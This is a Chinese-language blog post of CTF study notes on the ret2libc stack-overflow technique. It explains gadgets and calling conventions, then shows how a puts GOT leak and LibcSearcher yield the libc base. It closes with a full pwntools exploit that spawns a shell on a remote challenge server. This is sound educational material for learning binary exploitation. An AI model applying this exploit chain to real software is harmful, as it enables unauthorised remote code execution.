关于Ret2Libc的一些小笔记

Ret2Libc

搞懂的第一道ret2libc的题。

查看源代码

1
2
3
4
5
6
7
8
int sub_400632()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Do you know how to do buffer overflow?");
read(0, buf, 0x100uLL);
return puts("I hope you win");
}

非常简短的一个栈溢出的题,没有system,没有/bin/sh

一下就能看出是ret2libc的题。

基础ROP

两个汇编代码

在汇编代码的栈操作中,有两个很重要的知识点

ret代码相当于:

1
2
mov ip,[sp] ;ip是保存内存中当前要执行的代码的地址的寄存器
add sp,4 ;32位的程序是esp+=4,64位是rsp+=8,所以ret指令就相当于将栈中的下一个元素弹出到ip寄存器

pop rdi代码相当于:

1
2
mov rdi,[rsp] ;将栈顶元素弹出到寄存器中
add rsp,8 ;栈顶指针下移

由于64位程序中,函数调用参数不是从栈上开始的,而是从rdi rsi rdx rcx r8 r9这6个寄存器开始的,所以改变寄存器的值是函数传参的必要之举。这段代码是64位程序中的非常重要的gadget构造方式,因为它能将数据直接写入寄存器。

call代码相当于:

1
2
push ret_addr ;将返回地址,即call指令的下一条指令的地址压栈
jmp func ;跳转到调用的函数
函数传参
32位函数传参

最基本的函数传参的栈结构(由32位cdecl约定

返回地址 <– esp
参数1 [esp + 4]
参数2 [esp + 8]

(*注:此时eip指向被调用的函数,上面的栈结构是现在调用的函数看到的样子

所以最基本的32位payload攻击:

1
payload = offset * b'a' + p32(system_plt) + p32(0xdeadbeef) + p32(binsh_addr)
  • system函数的地址覆盖了原有的返回地址,整个程序跳转到system上执行。

  • 0xdeadbeef是空地址,覆盖了system看到的栈上的返回地址,作为system函数的返回地址。

  • binsh_addr/bin/shshell的地址,作为system函数的第一个参数,拿到shell,结束函数后,函数返回空地址。

来看一个更高级的:

1
payload = offset * b'a' + p32(gets_plt) + p32(pop_ebx) + p32(buf) + p32(system_plt) + p32(0xdeadbeef) + p32(buf)
  • pop ebx的作用是,当gets函数结束,返回地址弹出时,作为参数的buf值还残留在栈上,会打乱system正常调用栈,所以要将buf参数弹出到ebx里,让system不会误判返回函数
  • gets在返回到返回地址后,会执行ret,弹出栈里面的下一个元素到eip,这也是为什么gets结束后还能继续执行system的原因。

看一下错误的写法:

1
payload = offset * b'a' + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(0xdeadbeef) + p32(buf)
  • gets函数会把system的地址当作返回地址。虽然执行完gets函数之后,程序成功跳转到了system函数,但是会把buf的值误判为system的返回地址,把0xdeadbeef当作参数,导致程序报错
64位函数传参

看一下最基本的写法:

1
payload = offset * b'a' + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system) 
  • 执行pop rdi;ret时,将/bin/sh弹出到rdi,由于调用约定,rdi中的参数将作为system函数的第一个参数
  • 添加的ret_addr是为了栈平衡。
Ret2Libc原理

当NX开启和ASLR开启的时候,shellcode无法在栈上执行,所以程序返回到栈上执行shellcode是无法实现的。而ASLR开启,会导致libc地址随机化。所以Ret2Libc的最终目的就是泄露libc的基地址。

由于每个函数在libc表里的偏移地址都不同,但是libc的基地址在单次内执行文件的时候都是不变的,所以我们可以用函数的真实地址减去偏移地址计算libc基地址。

.plt表和.got表

.got表里保存着函数的真实地址,而.plt表保存着函数在.got表里对应的地址。

通常程序调用函数的时候,是从plt直接取的函数地址,即用plt表中的地址充当函数

image-20230807212935624

Libc也有很多版本。拿puts为例,利用LibcSearcher可以找出puts的偏移地址和函数在.got表中的地址(不是真实地址!):

1
2
3
4
elf = ELF('./pwn')
puts_got = elf.got['puts']#puts在got表中的地址
puts_plt = elf.plt['puts']#puts在plt表中的地址,
puts_libc = libc.dump('puts')#puts在libc表中的地址

通过泄露代码泄露puts函数的真实地址:

1
2
3
payload = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#接收
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  • puts(puts_got)输出puts在.got表上对应的地址上的值(即puts的真实地址)
  • 泄露后返回到main函数继续执行
  • 开启ASLR后的真实地址通常长这样:0x7f1234567aa0,小端存储为a0 7a 56 34 12 7f 00 00,即 b'\xa0\x7a\x56\x34\x12\x7f\x00\x00'(倒过来存储)。最高两位通常不输出,所以只取低6位,并在最高位补0

32位程序接受泄露地址:

1
leak_addr = u32(p.recv(4))

所以可以编写exp了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
context(log_level = 'debug',os = 'linux', arch = 'amd64')
#p = process('./babyof')
p = remote('node4.anna.nssctf.cn',25209)
offset = 0x40 + 0x8
elf = ELF('./babyof')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400550
pop_rdi = 0x400743
payload1 = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload1)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#print(hex(leak))
libc = LibcSearcher('puts',leak)
libc_base = leak - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
ret_addr = 0x400506
payload = b'a' * offset + p64(pop_rdi) + p64(binsh) + p64(ret_addr) + p64(system)
p.sendline(payload)
p.interactive()

关于Ret2Libc的一些小笔记
https://www.ghostfoxy.cn/2026/08/01/ret2libc/
作者
Gh0stF0xy
发布于
2026年8月1日
更新于
2026年8月1日
许可协议